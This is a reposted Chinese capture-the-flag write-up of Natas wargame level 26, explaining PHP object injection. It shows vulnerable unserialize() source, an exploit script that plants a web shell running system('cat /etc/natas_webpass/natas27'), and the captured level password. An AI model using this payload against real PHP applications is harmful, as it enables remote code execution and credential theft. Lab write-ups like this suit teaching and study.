Natas Wargame Level26 Writeup（PHP对象注入）

转载

a_18067 于 2017-05-24 23:45:00 发布 101 收藏
文章标签： php shell
原文链接：http://www.cnblogs.com/liqiuhao/p/6901620.html
版权

源码：

```
<?php
    // sry, this is ugly as hell.
    // cheers kaliman ;)
    // - morla

    class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;

        function __construct($file){
            // initialise variables
            $this->initMsg="#--session started--#\n";
            $this->exitMsg="#--session end--#\n";
            $this->logFile = "/tmp/natas26_" . $file . ".log";

            // write initial message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$initMsg);
            fclose($fd);
        }

        function log($msg){
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$msg."\n");
            fclose($fd);
        }

        function __destruct(){
            // write exit message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->exitMsg);
            fclose($fd);
        }
    }

    function showImage($filename){
        if(file_exists($filename))
            echo "<img src=\"$filename\">";
    }

    function drawImage($filename){
        $img=imagecreatetruecolor(400,300);
        drawFromUserdata($img);
        imagepng($img,$filename);
        imagedestroy($img);
```

```
    }

    function drawFromUserdata($img){
        if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){

            $color=imagecolorallocate($img,0xff,0x12,0x1c);
            imageline($img,$_GET["x1"], $_GET["y1"],
                           $_GET["x2"], $_GET["y2"], $color);
        }

        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
            if($drawing)
                foreach($drawing as $object)
                    if( array_key_exists("x1", $object) &&
                        array_key_exists("y1", $object) &&
                        array_key_exists("x2", $object) &&
                        array_key_exists("y2", $object)){

                        $color=imagecolorallocate($img,0xff,0x12,0x1c);
                        imageline($img,$object["x1"],$object["y1"],
                                $object["x2"] ,$object["y2"] ,$color);

                    }
        }
    }

    function storeData(){
        $new_object=array();

        if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
            $new_object["x1"]=$_GET["x1"];
            $new_object["y1"]=$_GET["y1"];
            $new_object["x2"]=$_GET["x2"];
            $new_object["y2"]=$_GET["y2"];
        }

        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
        }
        else{
            // create new array
            $drawing=array();
        }

        $drawing[]=$new_object;
        setcookie("drawing",base64_encode(serialize($drawing)));
    }
?>

<h1>natas26</h1>
<div id="content">

Draw a line:<br>
<form name="input" method="get">
X1<input type="text" name="x1" size=2>
Y1<input type="text" name="y1" size=2>
```

```
X2<input type="text" name="x2" size=2>
Y2<input type="text" name="y2" size=2>
<input type="submit" value="DRAW!">
</form>

<?php
    session_start();

    if (array_key_exists("drawing", $_COOKIE) ||
        (   array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){
        $imgfile="img/natas26_" . session_id() .".png";
        drawImage($imgfile);
        showImage($imgfile);
        storeData();
    }

?>
```

主要知识点参见PHP Object Injection（PHP对象注入） 。

思路上的问题：

了解PHP对象注入后，不知道该如何回显，以为这里没有eval和system等能够执行命令的语句（序列化又只能传入键值对（字符串而非执行语句））。其实很简单，这里不需要服务器端在解析的时候回显flag，我们只需要在能够访问的文件夹（imag）下建立一个shell（fuck.php）（路径可以用字符串表示传入），写入php语句，然后访问该脚本，就能够进行任意语句执行/回显！

生成序列化的注入实体时犯的错误：

```
<?php
    class Logger{
        function __construct($file){
            $this->initMsg="<? \n\nsystem('cat /etc/natas_webpass/natas27'); ?>\n\n";
            $this->logFile = "img/fuck3.php";
        $this->exitMsg ="<? \n\nsystem('cat /etc/natas_webpass/natas27'); ?>\n\n";
        }
    }
print urlencode(base64_encode(serialize(new Logger('asd'))));
?>
```

源码中声明Logger时进行了访问控制（三个属性全部私有），如果不加private的话是默认公有的，生成的序列化字节串会不匹配，要注意这一点，数据类型一定要匹配。（另外，序列话字节串只能保存键值对，无法保存对象中的方法定义）。

正确做法：

```
<?php
    class Logger{
    private $logFile;
        private $initMsg;
        private $exitMsg;
        function __construct($file){
            $this->initMsg="<? \n\nsystem('cat /etc/natas_webpass/natas27'); ?>\n\n";
            $this->logFile = "img/fuck3.php";
        $this->exitMsg ="<? \n\nsystem('cat /etc/natas_webpass/natas27'); ?>\n\n";
        }
    }
print urlencode(base64_encode(serialize(new Logger('asd'))));
?>
```

ps：其实还有个小问题，当前路径就写“img/....”即可，当时脑袋抽写成了"/imag/...."

然后访问img/fuck.php这个shell即可得到flag。

flag：**55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ**

转载于:https://www.cnblogs.com/liqiuhao/p/6901620.html